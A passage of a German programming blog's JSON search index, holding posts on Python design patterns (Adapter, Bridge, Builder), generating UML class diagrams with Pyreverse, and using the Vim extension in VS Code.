Sondern eher dazu Verknüpfungen zwischen bestehenden Strukturen zu beschreiben und zu vereinfachen.\nIn diesem Beitrag lernst du diese 2 Design Pattern:\nComposite Pattern Decorator Pattern Composite Pattern “A mechanism for treating individual (scalar) objects and compositions of objects in a uniform manner.","title":"Structural Design Patterns Composite Decorator"},{"content":"\rKopiere deinen (Python) Quellcode in die Textbox und klicke auf Submit:\rclass A:\rdef __init__(self):\rself.x=3\rclass B(A):\rpass\rclass C:\rdef __init__(self):\rself.a = A()\rshow builtin classes\nshow all ancestor\rclasses\nshow all associated\rclasses recursivly\rAuf dieser Seite kannst du deinen Python Code Online in ein UML Klassendiagramm umwandeln. Dieses Tool basiert auf\rder Software Pyreverse über die ich bereits einen Blogbeitrag\rgeschrieben habe.\r","permalink":"https://quisl.de/python-uml-generator/","summary":"\rKopiere deinen (Python) Quellcode in die Textbox und klicke auf Submit:\rclass A:\rdef __init__(self):\rself.x=3\rclass B(A):\rpass\rclass C:\rdef __init__(self):\rself.a = A()\rshow builtin classes\nshow all ancestor\rclasses\nshow all associated\rclasses recursivly\rAuf dieser Seite kannst du deinen Python Code Online in ein UML Klassendiagramm umwandeln. Dieses Tool basiert auf\rder Software Pyreverse über die ich bereits einen Blogbeitrag\rgeschrieben habe.\r","title":"Python Uml Generator"},{"content":"Um sich einen groben Überblick über einen objektorientierten Quellcode zu verschaffen haben sich die Softwarearchitekten dieser Welt eine besondere Schreibweise ausgedacht: Klassendiagramme.\nDiese Diagramme sind sozusagen eine Möglichkeit, mit der du deinen Code grafisch darstellen kannst. Genauer gesagt kannst du anhand von Klassendiagrammen die Beziehungen zwischen Klassen, Schnittstellen und deren Attribute modellieren.\nAuch Python ist auf objektorientierten Prinzipien aufgebaut. Deswegen kannst du deinen Python Code ebenfalls in Klassendiagramme verwandeln. Ein Tool, das dies bewerkstelligen kann, nennt sich Pyreverse. Der Name setzt sich aus Py für Python und reverse für reverse-engineering zusammen.\nWenn du keine eigene Software installieren möchtest, kannst du auch meinen online UML Klassendiagramm Generator für Python benutzen.\nIn diesem Artikel lernst du, wie du Pyreverse installierst und einsetzt um Klassendiagramme aus deinem Python Code zu generieren.\nSchritt #1 installiere Pyreverse Pyreverse ist Teil des Pylint Pakets. Da du sowieso ein linting Tool verwenden solltest schadet es nichts Pylint zu installieren.\npip install -U pylint Wenn die Installation geklappt hat, solltest du folgende Befehle ohne Fehlermeldung ausführen können.\npylint --help pyreverse --help Schritt #2 installiere Graphviz Pyreverse kann von Haus aus nur .dot Dateien erzeugen. Um etablierte Grafikformate wie .png, .jpg oder .svg zu erzeugen benötigt Pyreverse ein externes Tool: Graphviz.\nGraphviz mit Windows manuell installieren Für Windows kannst du Graphviz der offiziellen Webseite herunterladen. Oder direkt über diesen Link. Im heruntergeladenen Zip Archiv befindet sich ein Ordner \u0026ldquo;Graphviz\u0026rdquo; und darin ein Ordner \u0026ldquo;bin\u0026rdquo;. Den Inhalt des bin Ordners kopierst du nach C:\\Program Files (x86)\\Graphviz\\bin und fügst diesen in deine PATH Variable hinzu.\nGrapviz mit einem Paketmanager installieren Alternativ dazu kannst du Graphviz auch mit dem Paketmanager deines Vertrauens installieren.\nFür Chocolatey, Winget, MacPorts, Homebrew, Ubuntu, Debian, Redhat, CentOS und Fedora gibt es ein Paket das in jedem dieser Paketmanager den Namen \u0026ldquo;graphviz trägt\u0026rdquo;.\nInstallation testen Wenn die Installation geklappt kannst du folgenden Befehl ausführen.\ndot -V Schritt #3 erzeuge Klassendiagramme Nachdem du alle Vorkehrungen getroffen hast, kannst du endlich mit dem Generieren der Grafiken anfangen.\nPyreverse kann sowohl installierte Module, als auch einfache Pfade mit Pythondateien analysieren.\nModule analysieren Hier mal ein Beispiel mit dem datetime Modul:\npyreverse -o png datetime parsing c:\\users\\quisl\\appdata\\local\\programs\\python\\python38-32\\lib\\datetime.py... Jetzt erstellt pyreverse eine Datei im aktuellen Arbeitsverzeichnis mit dem Namen \u0026ldquo;classes.png\u0026rdquo;.\nDatetime in Pyreverse\nWenn es sich um ein modulares Paket handelt, erzeugt Pyreverse auch eine packages.png. Darin werden Beziehung der einzelnen Pakete untereinander dargestellt. (Das ist zum Beispiel in der requests Bibliothek der Fall.)\nEinzelne Dateien analysieren Alternativ zu den installierten Modulen können auch einzelne Dateien oder Pfade analysiert werden:\npyreverse -o png test.py Sonstiges Zum Schluss nochmal alle Optionen von Pyreverse:\nBenutzung: pyreverse [optionen] \u0026lt;pakete\u0026gt; Erstellt UML Diagramme für Klassen und Module in \u0026lt;pakete\u0026gt; Optionen: -h, --help zeigt diese Hilfe und beendet pyreverse -f \u0026lt;mode\u0026gt;, --filter-mode=\u0026lt;mode\u0026gt; filtert Attribute und Funktionen je nach \u0026lt;mode\u0026gt;. Mögliche modes sind : \u0026#39;PUB_ONLY\u0026#39; Filtert alle nicht public Attribute [DEFAULT], äquivalent zu PRIVATE+SPECIAL_A \u0026#39;ALL\u0026#39; kein Filter \u0026#39;SPECIAL\u0026#39; filtert spezielle Python Funktionen (ausgenommen sind Konstruktoren) \u0026#39;OTHER\u0026#39; filtert geschützte und private Attribute -c \u0026lt;class\u0026gt;, --class=\u0026lt;class\u0026gt; erstellt ein Klassendiagramm mit allen verwandten Klassen \u0026lt;class\u0026gt;; benutzt im default die Optionen -ASmy -a \u0026lt;ancestor\u0026gt;, --show-ancestors=\u0026lt;ancestor\u0026gt; zeigt \u0026lt;ancestor\u0026gt; Generationen von vorfahren der gefundenen Klassen. Die nicht im Projekt sind. -A, --all-ancestors zeigt alle vorfahren von allen Klassen im Projekt -s \u0026lt;association_level\u0026gt;, --show-associated=\u0026lt;association_level\u0026gt; zeigt \u0026lt;association_level\u0026gt; Level von zugehörigen Klassen die nicht im Projekt sind -S, --all-associated zeigt alle zugehörigen Klassen rekursiv an die nicht im Projekt sind -b, --show-builtin zeigt auch builtin Objects im Klassendiagramm an -m [yn], --module-names=[yn] fügt einen Modulnamen im Klassendiagramm hinzu -k, --only-classnames zeige keine Attribute und Methoden in der Klassenbox an; dies deaktiviert die -f Werte -o \u0026lt;format\u0026gt;, --output=\u0026lt;format\u0026gt; erstellt eine *.\u0026lt;format\u0026gt; Ausgabedatei wenn das jeweilige Format existiert. --ignore=\u0026lt;file[,file...]\u0026gt; Fügt dateien einer Blacklist hinzu. Sie sollten die Basenamen sein und keine einzelnen Dateipfade. -p \u0026lt;project name\u0026gt;, --project=\u0026lt;project name\u0026gt; setzt den namen des Projekts. ","permalink":"https://quisl.de/b/wie-du-uml-klassendiagramme-aus-python-code-erstellst-in-3-schritten-pyreverse-tutorial/","summary":"Um sich einen groben Überblick über einen objektorientierten Quellcode zu verschaffen haben sich die Softwarearchitekten dieser Welt eine besondere Schreibweise ausgedacht: Klassendiagramme.\nDiese Diagramme sind sozusagen eine Möglichkeit, mit der du deinen Code grafisch darstellen kannst. Genauer gesagt kannst du anhand von Klassendiagrammen die Beziehungen zwischen Klassen, Schnittstellen und deren Attribute modellieren.\nAuch Python ist auf objektorientierten Prinzipien aufgebaut. Deswegen kannst du deinen Python Code ebenfalls in Klassendiagramme verwandeln. Ein Tool, das dies bewerkstelligen kann, nennt sich Pyreverse.","title":"Wie du UML Klassendiagramme aus Python Code erzeugst in 3 Schritten - Pyreverse Tutorial"},{"content":"Structural Design Patterns (dt. Strukturmuster) sind Design Patterns (dt. Entwurfsmuster), die das Design von Beziehungen zwischen Softwareteilen (wie Klassen, Funktionen oder Objekten) vereinfachen.\nAnders als die Creational Pattern vom letzten Beitrag geht es dabei nicht darum Objekte zu erstellen. Sondern eher dazu Verknüpfungen zwischen bestehenden Strukturen zu beschreiben und zu vereinfachen.\nIn diesem Beitrag zeige ich diese 2 Design Patterns:\nAdapter Pattern Bridge Pattern Adapter Pattern “A Construct which adapts an existing interface X to conform the required interface Y” - Dmitri Nesteruk\nDas Adapter Pattern brauchst du, wenn ein bestehendes, unveränderbares Interface oder eine API nicht genau zu deinen speziellen Anforderungen passt.\nDer Adapter ist ein Stück Software das den Output des Interfaces/der API so verändert, dass er zu deinem Projekt passt.\nDu kannst dir das wie bei Reiseadaptern vorstellen. Das sind diese Plastikaufsätze, die du auf Reisen in andere Länder zwischen der Steckdose und dem Stecker deines Föhns steckst. Sie bewirken dass die Stecker zu den Steckdosen passen.\nAber auch die elektrische Spannung ist wichtig. Während wir in Europa meist 230 Volt verwenden, sind es in Amerika meist nur 110 Volt. Damit kommen viele unserer Geräte nicht zurecht. Dieses Problem wird durch einen aktiven Adapter gelöst. Dieser macht nicht nur die Anschlüsse passend, sondern wandelt auch die Spannung um.\nGenauso funktioniert auch das Adapter Pattern in der Softwareentwicklung. Nehmen wir an du bist in Amerika und dein Hotelzimmer hat eine amerikanische Steckdose.\nclass AmerikanischeSteckdose: def __init__(self): print(\u0026#34;Nutze amerikanische Steckdose mit 110 Volt und 20 Ampere.\u0026#34;) def spannung(self): return 110 # Volt def maximaler_strom(self): return 20 # Ampere Dein Föhn braucht aber 230 Volt in der Stromquelle um zu funktionieren.\nclass Foehn: benoetigte_spannung = 230 # Volt benoetigte_leistung = 1800 # Watt def __init__(self, stromquelle): self.__stromquelle = stromquelle self.benoetigter_strom = ( self.benoetigte_leistung / self.benoetigte_spannung ) def _check_leistung(self): maximal_moeglicher_strom = self.__stromquelle.maximaler_strom() if maximal_moeglicher_strom \u0026gt;= self.benoetigter_strom: return True return False def _check_spannung(self): if self.__stromquelle.spannung() \u0026gt;= self.benoetigte_spannung: return True return False def einschalten(self): if self._check_leistung() and self._check_spannung(): print( f\u0026#34;Funktioniert ! \\nNutze \\t\\t{self.__stromquelle.spannung()} V \u0026#34; f\u0026#34;und {self.benoetigter_strom} A\u0026#34; ) else: print( \u0026#34;Funktioniert nicht !\\nBenoetige mindestens \\t\u0026#34; f\u0026#34;{self.benoetigte_spannung} V und \u0026#34; f\u0026#34;{self.benoetigter_strom} A\\n\u0026#34; \u0026#34;Bekomme nur \\t\\t\u0026#34; f\u0026#34;{self.__stromquelle.spannung()} V und \u0026#34; f\u0026#34;{self.__stromquelle.maximaler_strom()} A\u0026#34; ) if __name__ == \u0026#34;__main__\u0026#34;: foehn = Foehn(AmerikanischeSteckdose()) foehn.einschalten() Nutze amerikanische Steckdose mit 110 Volt und 20 Ampere. Funktioniert nicht ! Benoetige mindestens 230 V und 7.826086956521739 A Bekomme nur 110 V und 20 A Dieses Problem löst du mit einem Adapter der die Spannung in 230 Volt umwandelt. Dabei wird natürlich der Strom reduziert. An dieser Steckdose ist nichtsdestotrotz genug Stromstärke vorhanden!\nclass Adapter: def __init__(self, stromquelle): print(\u0026#34;Nutze Adapter für Umwandlung auf 230 Volt.\u0026#34;) self.__stromquelle = stromquelle def spannung(self): return 230 # Volt def maximaler_strom(self): faktor = self.__stromquelle.spannung() / self.spannung() I = faktor * self.__stromquelle.maximaler_strom() return I # Ampere if __name__ == \u0026#34;__main__\u0026#34;: foehn = Foehn(Adapter(AmerikanischeSteckdose())) foehn.einschalten() Nutze amerikanische Steckdose mit 110 Volt und 20 Ampere. Nutze Adapter für Umwandlung auf 230 Volt. Funktioniert ! Nutze 230 V und 7.826086956521739 A Eigentlich ganz einfach! Beim Hotel steckst du den Adapter zwischen Steckdose und Gerät. Bei Python steckst du den Adapter zwischen Client und API.\nBridge Pattern “A mechanism that decouples an interface (hierarchy) from an implementation (hierarchy).” - Dmitri Nesteruk\nMit dem Bridge Pattern kannst du ein Konzept in zwei unabhängige Klassenhierarchien trennen: die Abstraktion und die Implementation. Das brauchst du oft, wenn ein Prozess auf unterschiedliche Weisen durchführbar ist.\nGucken wir uns als Beispiel das Speichern von geometrischen Formen auf der Festplatte an.\nMögliche Formen wären:\nDreiecke Rechtecke Kreise Achtecke Und dein Auftrag ist diese Formen auf unterschiedliche Weisen zu speichern. Zum Beispiel als:\nBMP JPG SVG Falls es nur wenige Grafiken und Speicherformate gibt, kannst du versuchen für jedes Speicherformat und für jede Form eine Klasse zu schreiben.\nÜbel wird es, wenn es viele gibt:\nclass DreieckBMP: def __init__(self): pass def anzeigen(self): pass def speichern(self): pass class RechteckBMP: def __init__(self): pass def anzeigen(self): pass def speichern(self): pass class AchteckBMP: def __init__(self): pass def anzeigen(self): pass def speichern(self): pass class KreisBMP: def __init__(self): pass def anzeigen(self): pass def speichern(self): pass class DreieckJPG: def __init__(self): pass def anzeigen(self): pass def speichern(self): pass class RechteckJPG: def __init__(self): pass def anzeigen(self): pass def speichern(self): pass class KreisJPG: def __init__(self): pass def anzeigen(self): pass def speichern(self): pass class AchteckJPG: def __init__(self): pass def anzeigen(self): pass def speichern(self): pass class DreieckSVG: def __init__(self): pass def anzeigen(self): pass def speichern(self): pass class RechteckSVG: def __init__(self): pass def anzeigen(self): pass def speichern(self): pass class KreisSVG: def __init__(self): pass def anzeigen(self): pass def speichern(self): pass class AchteckSVG: def __init__(self): pass def anzeigen(self): pass def speichern(self): pass Dass es nicht lustig wird diesen Code zu Pflegen wirst du spätestens merken, wenn du noch mehr Formen oder Speicherformate hinzufügen musst. Dann musst du nämlich für nur eine Speicherart, eine zusätzliche Klasse für jede Form schreiben.\nDas nennt man eine Cartesian Product Complexity Explosion. Also ist ein Problem, das die Codebasis exponentiell wachsen lässt, wenn die Funktionalität der Software wächst.\nEin eleganterer Ansatz ist das Bridge Pattern.\nBridge Pattern als Klassendiagramm\nDie Idee ist Oberklassen (Abstraktion und Implementation) zu bilden die du dann miteinander verknüpfst. Zum Beispiel die Oberklassen Form (Abstraktion) für Kreis, Dreieck, Rechteck und Achteck (Spezielle Abstraktionen) und Serializer (Implementation) für BMP, SVG und JPG (Konkrete Implementation).\nDie Abstraktion hat eine Implementation. Diese musst du zuerst erzeugen und sie dann bei der Erstellung der speziellen Abstraktion an diese weitergeben.\nclass Serializer: def __init__(self): pass def speichern(self): pass class JPGSerializer(Serializer): def __init__(self): pass def speichern(self): print(\u0026#34;als JPG gespeichert!\u0026#34;) class BMPSerializer(Serializer): def __init__(self): pass def speichern(self): print(\u0026#34;als BMP gespeichert!\u0026#34;) class SVGSerializer(Serializer): def __init__(self): pass def speichern(self): print(\u0026#34;als SVG gespeichert!\u0026#34;) class Form: def __init__(self, serializer): self.serializer = serializer def speichern(self): pass def anzeigen(self): pass class Kreis(Form): def __init__(self, serializer): print(\u0026#34;Kreis erstellen\u0026#34;) super().__init__(serializer) def speichern(self): self.serializer.speichern() def anzeigen(self): print(\u0026#34;Kreis ausgeben\u0026#34;) class Dreieck(Form): def __init__(self, serializer): print(\u0026#34;Dreieck erstellen\u0026#34;) super().__init__(serializer) def speichern(self): self.serializer.speichern() def anzeigen(self): print(\u0026#34;Dreieck ausgeben\u0026#34;) class Rechteck(Form): def __init__(self, serializer): print(\u0026#34;Rechteck erstellen\u0026#34;) super().__init__(serializer) def speichern(self): self.serializer.speichern() def anzeigen(self): print(\u0026#34;Rechteck ausgeben\u0026#34;) class Achteck(Form): def __init__(self, serializer): print(\u0026#34;Achteck erstellen\u0026#34;) super().__init__(serializer) def speichern(self): self.serializer.speichern() def anzeigen(self): print(\u0026#34;Achteck ausgeben\u0026#34;) So wurden aus 12 Klassen und 36 Methoden nur noch 9 Klassen und 23 Methoden. Das Ganze wird noch sichtbarer, wenn der Code noch weiter wächst.\nif __name__ == \u0026#39;__main__\u0026#39;: JPG = JPGSerializer() SVG = SVGSerializer() kreis = Kreis(JPG) kreis.anzeigen() kreis.speichern() rechteck = Rechteck(SVG) rechteck.anzeigen() rechteck.speichern() Kreis erstellen\rKreis ausgeben\rals JPG gespeichert!\rRechteck erstellen\rRechteck ausgeben\rals SVG gespeichert! Diese Idee stellt zum einen sicher, dass das Single Responsibility Prinzip (SRP) eingehalten wird. Zum anderen verhindert es eine Cartesian Product Complexity Explosion.\n","permalink":"https://quisl.de/b/structural-design-patterns-adapter-bridge/","summary":"Structural Design Patterns (dt. Strukturmuster) sind Design Patterns (dt. Entwurfsmuster), die das Design von Beziehungen zwischen Softwareteilen (wie Klassen, Funktionen oder Objekten) vereinfachen.\nAnders als die Creational Pattern vom letzten Beitrag geht es dabei nicht darum Objekte zu erstellen. Sondern eher dazu Verknüpfungen zwischen bestehenden Strukturen zu beschreiben und zu vereinfachen.\nIn diesem Beitrag zeige ich diese 2 Design Patterns:\nAdapter Pattern Bridge Pattern Adapter Pattern “A Construct which adapts an existing interface X to conform the required interface Y” - Dmitri Nesteruk","title":"2 Structural Design Patterns die du als Pythonentwickler kennen solltest – Nützliche Strukturmuster für Python: Adapter \u0026 Bridge"},{"content":"Den Abstand zwischen Gehirn und Quellcode eliminieren und mit Visual Studio Code und dem Vim Plugin zum ultimativen Coding Ninja werden.\nVisual Studio Code ist die beliebteste IDE für Softwareentwickler. Zumindest behauptet das stackoverflow.com im Developer Survey 2019.\nIch selbst benutze es sowohl in meiner täglichen Arbeit als auch für private Projekte. Als kostenloses Tool bietet es eine starke Add-on Unterstützung für alle Lebenslagen und integriert sich dadurch wunderbar in die meisten Workflows.\nAls DevOps Entwickler kommt man um Linux Server, die nur Kommandozeilenzugriff haben wahrscheinlich nicht herum. Auf der Kommandozeile ist Vim mit Abstand mein Lieblingseditor. Während die meisten kommandozeilenbasierten Texteditoren eher klobig wirken bietet Vim:\nMotions für extrem schnelle Navigation Operations für Standardaufgaben sowie Macros für komplexe Textbearbeitung In diesem Tutorial erfährst du, wie du mithilfe des Vim Plugins diese beiden besten Editoren kombinierst und dadurch zum ultimativen Coding Ninja wirst! ;)\nWas ist Vim VI, Vims Vorgänger wurde 1976 ursprünglich als Texteditor für BSD entwickelt. Erst 15 Jahre später hat der gebürtige Niederländer Bram Moolenaar die Ideen von Vi aufgegriffen und Vi IMproved erschaffen. Den Quellcode findest du übrigens auf GitHub.\nVim hat alle Features von Vi übernommen. Deswegen wirst du weitestgehend auch mit Vi zurechtkommen, wenn du Vim gelernt hast. Darüber hinaus kamen allerdings noch einige neue hinzu:\nPortierung auf alle gängigen Betriebssysteme Syntaxhervorhebung besseres undo/redo Netzwerkprotokolle Bildschirmteilung Ziparchive bearbeiten eigenes Diff-Tool Pluginunterstützung u. v. m. Lustiger kommt Vim mit seiner eigenen Lizenz daher. Diese ist deckungsgleich mit der bekannten GPLv2 Lizenz. Diese wird unter anderen auch von Linux selbst verwendet. Darüber hinaus ermuntert sie den User, sofern er Spaß an Vim hat, Geld an notleidende Kinder in Uganda zu spenden. Nette Sache!\nWieso du Vim verwenden solltest Vim ist schnell. In jederlei Hinsicht. Beim Installieren, beim Starten, vor allem aber beim Editieren. Und das obwohl Vim auf eine Maussteuerung verzichtet.\nKleine Kostprobe? Mal angenommen du hast diese Zeile.\nVorher:\nprint(\u0026#34;Moin Leute was geht?\u0026#34;) Jetzt drückst du diese fünf Zeichen c``i``\u0026quot;``H``i und schwuppdiwupp hast du wie von Zauberhand folgende Zeile.\nNachher:\nprint(\u0026#34;Hi\u0026#34;) Ganz ohne markieren mit der Maus oder langes gedrückt halten der Backspacetaste!\nEingabe Erklärung ci\u0026quot; Entferne Text zwischen (in) Anführungszeichen und wechselt in den insert mode Hi Texteingabe Noch ein Beispiel gefällig? In folgenden Text sollen nur noch die Zahlen als comma-separated values (CSV) zu sehen sein.\nVorher:\n# mache zu CSV # ################ 1,8,25,2,123,55,23,0, 131,22,8,768,17,85,12, 199,2,294,63,67,39,1 Dazu brauchst du diese 5 Zeichen.\nd``j``g``J``.\nNachher:\n1,8,25,2,123,55,23,0,131,22,8,768,17,85,12,199,2,294,63,67,39,1 Eingabe Erklärung dj Aktuelle und nächste Zeile löschen gJ Untere Zeile löschen und Inhalt in die aktuelle kopieren . Letzten Befehl wiederholen Dieser Beitrag soll kein Vim Tutorial sein. Falls du Vim lernen willst schau mal an das Ende dieses Beitrags. Dort findest du ein paar nützliche Links!\nWas sind die Vim Modi Was macht Vim denn nun besser als andere Editoren? Kurze Antwort: Bedienungsmodi. Was für den Anfänger unintuitiv wirkt ermöglicht dem Profi allen Tasten mehrere Funktionen zu geben. Je nach Modus.\nVim kennt insgesamt 6 Modi. Du musst sie nicht auswendig lernen. Sie werden sich ganz natürlich anfühlen, wenn du Vim eine Weile verwendet hast. Am besten guckst du dir am Anfang nur den normal mode und den insert mode an.\nNormal mode Im normal mode (normaler Modus) - auch command mode (Kommandomodus) bewegst du deinen Cursor durch die Datei. Dies ist wahrscheinlich der meistgenutzte Modus. Der Modus ist per Default beim Start geöffnet. Ansonsten kommst du immer mit {ESC} rein wenn, du gerade in einem anderen Modus bist.\nVisual mode Mit dem visual mode (visueller Modus) kannst du Text markieren. Ungefähr so wie der Betriebssystemübergreifende Shift + Pfeiltasten Standard. Allerdings viel besser: Du kannst auf die volle Bandbreite der Vim Motions zugreifen anstatt nur auf die Pfeiltasten.\nSelect mode Der select mode (Auswahlmodus) ist vergleichbar mit dem visual mode. Allerdings verhält er sich beim Markieren eher wie „herkömmliche” Editoren. Ehrlich gesagt benutzt niemand diesen Modus. Vergiss ihn einfach wieder. ;)\nInsert mode Anders der insert mode. Hier wirst du sehr viel unterwegs sein. Nur in diesem Modus haben deine Tastenanschläge den Effekt den man von Editoren erwartet: Sie schreiben einen Buchstaben in die Datei.\nCommand Line mode Der command line mode (Kommandozeilenmodus) ist sozusagen das Hauptmenü des Editors. Hier kannst du das Programm beenden, andere Dateien öffnen, suchen \u0026amp; ersetzen und vieles mehr.\nFun Fact: Die Stack Overflow Seite mit der Frage wie man Vim beendet wurde mittlerweile 2,3 Millionen mal aufgerufen. Sie ist damit unter den 100 meistbesuchten Fragen der Webseite!\nEx mode Den ex mode (Ex Modus) musst du dir als Anfänger nicht unbedingt sofort angucken. Dieser Modus ist eher für (automatisierte) Batchverarbeitung gedacht. Anders gesagt damit lassen sich mehrere Kommandos hintereinander ausführen. Er wird üblicherweise von der Kommandozeile bzw. Bash aus verwendet und nicht unbedingt in Vim sebst. Deswegen verzichtet dieser Modus auch auf eine grafische Darstellung.\nDas Vim Addon für VS Code Jetzt wo du weißt, dass Vim gut ist stellt sich nur noch die Frage wie du es in Visual Studio Code benutzt. Dazu installierst du dir einfach die Visual Studio Extension. Das geht über das Extensions-Menü: STRG+Shift+x \u0026ndash;\u0026gt; Vim \u0026ndash;\u0026gt; Install.\nDadurch werden quasi alle Code Fenster in VS Code zu Vim Fenstern. Jetzt kannst du sofort mit deinen Vim Befehlen starten!\nKonfiguration Du solltest beachten, dass Vim für die Yank (Kopieren) Funktion seinen eigenen Zwischenspeicher verwendet. Deswegen musst du den Zugriff auf den Betriebssystemzwischenspeicher konfigurieren, wenn du ihn verwenden willst. Alternativ kannst du natürlich auch mit dem \u0026ldquo;+ Register darauf zugreifen. Allerdings nur in eine Richtung. Es ist keine Defaulteinstellung aber durchaus nützlich!\nDie Einstellungen von Visual Studio Code öffnest du über die Command Palette mit F1 (oder STRG + Shift + P) und tippst dort Open Settings (JSON) ein.\nDen betriebssystemweiten Zwischenspeicher aktivierst du, indem du hinter der öffnenden Klammer diese Zeile hinzufügst.\n\u0026#34;vim.useSystemClipboard\u0026#34;: true, Spezielle VS Code Vim Tipps Um den maximalen Geschwindigkeitsvorteil zu haben solltest du die Maus möglichst selten anfassen. Schau dir am besten möglichst viele VS Code Hotkeys an. Das Terminal kannst du zum Beispiel mit STRG + ``` öffnen und schließen. Zwischen den Textfenstern wechselst du mit STRG + 1 bzw. STRG + 2 \u0026hellip;\nAuch wenn das Plugin versucht Vim möglichst originalgetreu abzubilden, gibt es ein paar Features in VS Code, die auch nützlich sind. Diese werden über spezielle Befehle die es im richtigen Vim eigentlich nicht gibt nutzbar gemacht. Die besten davon will ich dir nicht vorenthalten.\nEingabe Erklärung gd Öffnet einen neuen Tab mit der Definition (Funktionsdefinition, Klassendefinition, Variablendeklarierung etc.) des Worts unter dem Cursor. Mit Python funktioniert das einwandfrei. Allerdings benötigst du dafür natürlich das Python Plugin. gq Formatiert den markierten Text, sodass er maximal 80 Zeichen pro Zeile misst. gb Fügt einen weiteren Cursor (Multi-Cursor) bei einer Stelle hinzu die mit der aktuell markierten Stelle identisch ist. Dies ist äquivalent zu STRG + D im normalen VS Code. af Im visual mode markiert dieser Befehl einen Textblock. Als Textblock wird der Text zwischen Zeichen wie (), [], {}, ````, \u0026quot;\u0026quot; und '' erkannt. Kann wiederholt werden, um den nächst größeren Block zu markieren. gh Zeigt die Hilfe zu dem Wort unter dem Cursor an. Hat denselben Effekt wie mit der Maus über das Wort zu fahren. Mit dem Python Plugin werden hier zum Beispiel der Variablentyp einer Variable oder der Docstring für eine Funktion oder ein Modul angezeigt. Wo du Vim lernen kannst Wenn du Blut geleckt hast habe ich jetzt noch zu guter Letzt ein paar nützliche Links für dich:\nLearn Vim Progressively - Kompaktes Vim Tutorial Learn Vim VS Code - Tutorialplugin für VS Code zum Vim lernen Vim Adventures - Grafisches Spiel zum Vim lernen (kostet Geld, erste Level sind kostenlos) Vim Golf - Kompetetive Vim Rätsel für Fortgeschrittene (benötigt Twitter Account) Ach und ein letzter Tipp: Für das Programmieren generell, und auch speziell für Vim ist es sinnvoll die Tastatur auf das amerikanische Layout umstellen. Gerade bei den vielen Sonderzeichen hilft dies ungemein!\nGeht hin und bewährt euch als Codeninjas!\n","permalink":"https://quisl.de/b/vim-in-vs-code-extrem-schnell-programmieren-so-wirst-du-zum-coding-ninja/","summary":"Den Abstand zwischen Gehirn und Quellcode eliminieren und mit Visual Studio Code und dem Vim Plugin zum ultimativen Coding Ninja werden.\nVisual Studio Code ist die beliebteste IDE für Softwareentwickler. Zumindest behauptet das stackoverflow.com im Developer Survey 2019.\nIch selbst benutze es sowohl in meiner täglichen Arbeit als auch für private Projekte. Als kostenloses Tool bietet es eine starke Add-on Unterstützung für alle Lebenslagen und integriert sich dadurch wunderbar in die meisten Workflows.","title":"Vim in vs Code Extrem Schnell Programmieren So Wirst Du Zum Coding Ninja"},{"content":"Python überzeugt mit schneller Erlernbarkeit und einem breiten Einsatzgebiet. Genau das sind auch die Gründe, weswegen Python gerne in wissenschaftlichen Fachgebieten wie Data Science oder Machine Learning eingesetzt wird.\nWir Pythonentwickler sind dafür bekannt schnell etwas zum Laufen zu bringen. Nichtsdestotrotz sind viele von uns auch dafür bekannt Code zu schreiben der nicht Ideal auf große Projekte skaliert und früher oder später schwer zu warten wird. Dieses Problem haben im Grunde genommen alle Programmiersprachen.\nZum Glück haben die Programmierer dieser Welt dafür eine Lösung geschaffen: Die sogenannten Software Design Patterns (dt. Entwurfsmuster). Das sind bewährte Lösungsschablonen für wiederkehrende Probleme in der Softwarearchitektur.\nEine Kategorie von Design Patterns sind Creational Design Pattern (dt. Erzeugungsmuster). Sie dienen der Erzeugung von Objekten. In diesem Beitrag wirst du die 4 meiner Meinung nach wichtigsten von ihnen kennen lernen.\nIn diesem Beitrag zeige ich diese 4 Design Patterns:\nBuilder Pattern Factory Method Pattern Prototype Pattern Singleton Pattern 1. Builder Pattern “When piecewise construction is complicated, provide an API for doing it succinctly.” - Dmitri Nesteruk\nManche Objekte kannst du mit einem einzigen Initialisierungsaufruf erstellen. Andere benötigen eine Vielzahl an Konfigurationen bevor sie einsetzbar sind. Du solltest keine Klassen schreiben die mehr als 3 Argumente im Constructor (also in der __init__() Funktion) haben. Das wäre nicht sehr übersichtlich.\nBesser wäre es, wenn du für komplexe Objekte das Builder Pattern (dt. Erbauer) verwendest. Die Idee dabei ist, dass du das Objekt in mehreren Schritten konfigurierst. Das funktioniert über Funktionsaufrufe einer speziellen Builderklasse. Den Builder kannst du dir als eine Art API vorstellen die das gewünschte Objekt Stück für Stück erzeugt.\nIn diesem Beispiel siehst du einen Builder, der einer HTML Element Klasse hilft, weitere Elemente als Unterelemente zu verketten und anzuzeigen.\nclass HtmlElement: indent_size = 2 def __init__(self, name=\u0026#34;\u0026#34;, text=\u0026#34;\u0026#34;): self.name = name self.text = text self.elements = [] def __makestring(self, indent): lines = [] i = \u0026#39; \u0026#39; * (indent * self.indent_size) lines.append(f\u0026#39;{i}\u0026lt;{self.name}\u0026gt;\u0026#39;) if self.text: i1 = \u0026#39; \u0026#39; * ((indent + 1) * self.indent_size) lines.append(f\u0026#39;{i1}{self.text}\u0026#39;) for e in self.elements: lines.append(e.__makestring(indent + 1)) lines.append(f\u0026#39;{i}\u0026lt;/{self.name}\u0026gt;\u0026#39;) return \u0026#39;\\n\u0026#39;.join(lines) def __str__(self): return self.__makestring(0) @staticmethod def create(name): return HtmlBuilder(name) class HtmlBuilder: __root = HtmlElement() def __init__(self, root_name): self.root_name = root_name self.__root.name = root_name def add_child(self, child_name, child_text): self.__root.elements.append( HtmlElement(child_name, child_text) ) def clear(self): self.__root = HtmlElement(name=self.root_name) def __str__(self): return str(self.__root) if __name__ == \u0026#34;__main__\u0026#34;: htmlbuilder = HtmlElement.create(\u0026#34;ol\u0026#34;) htmlbuilder.add_child(\u0026#34;li\u0026#34;, \u0026#34;Kaffee\u0026#34;) htmlbuilder.add_child(\u0026#34;li\u0026#34;, \u0026#34;Tee\u0026#34;) htmlbuilder.add_child(\u0026#34;li\u0026#34;, \u0026#34;Milch\u0026#34;) print(htmlbuilder) \u0026lt;ol\u0026gt;\r\u0026lt;li\u0026gt;\rKaffee\r\u0026lt;/li\u0026gt;\r\u0026lt;li\u0026gt;\rTee\r\u0026lt;/li\u0026gt;\r\u0026lt;li\u0026gt;\rMilch\r\u0026lt;/li\u0026gt;\r\u0026lt;/ol\u0026gt; Hier wurde der Builder von der Klasse selbst aufgerufen. Das muss natürlich nicht immer so sein, genau so gut kannst du einen Builder schreiben, den du direkt aufruft.\n2. Factory Method Pattern “A component responsible solely for the wholesale (not piecewise) creation of objects.” - Dmitri Nesteruk\nDer Gegenentwurf zum Builder Pattern ist das Factory Method Pattern (dt. Fabrikmethode). Du setzt es 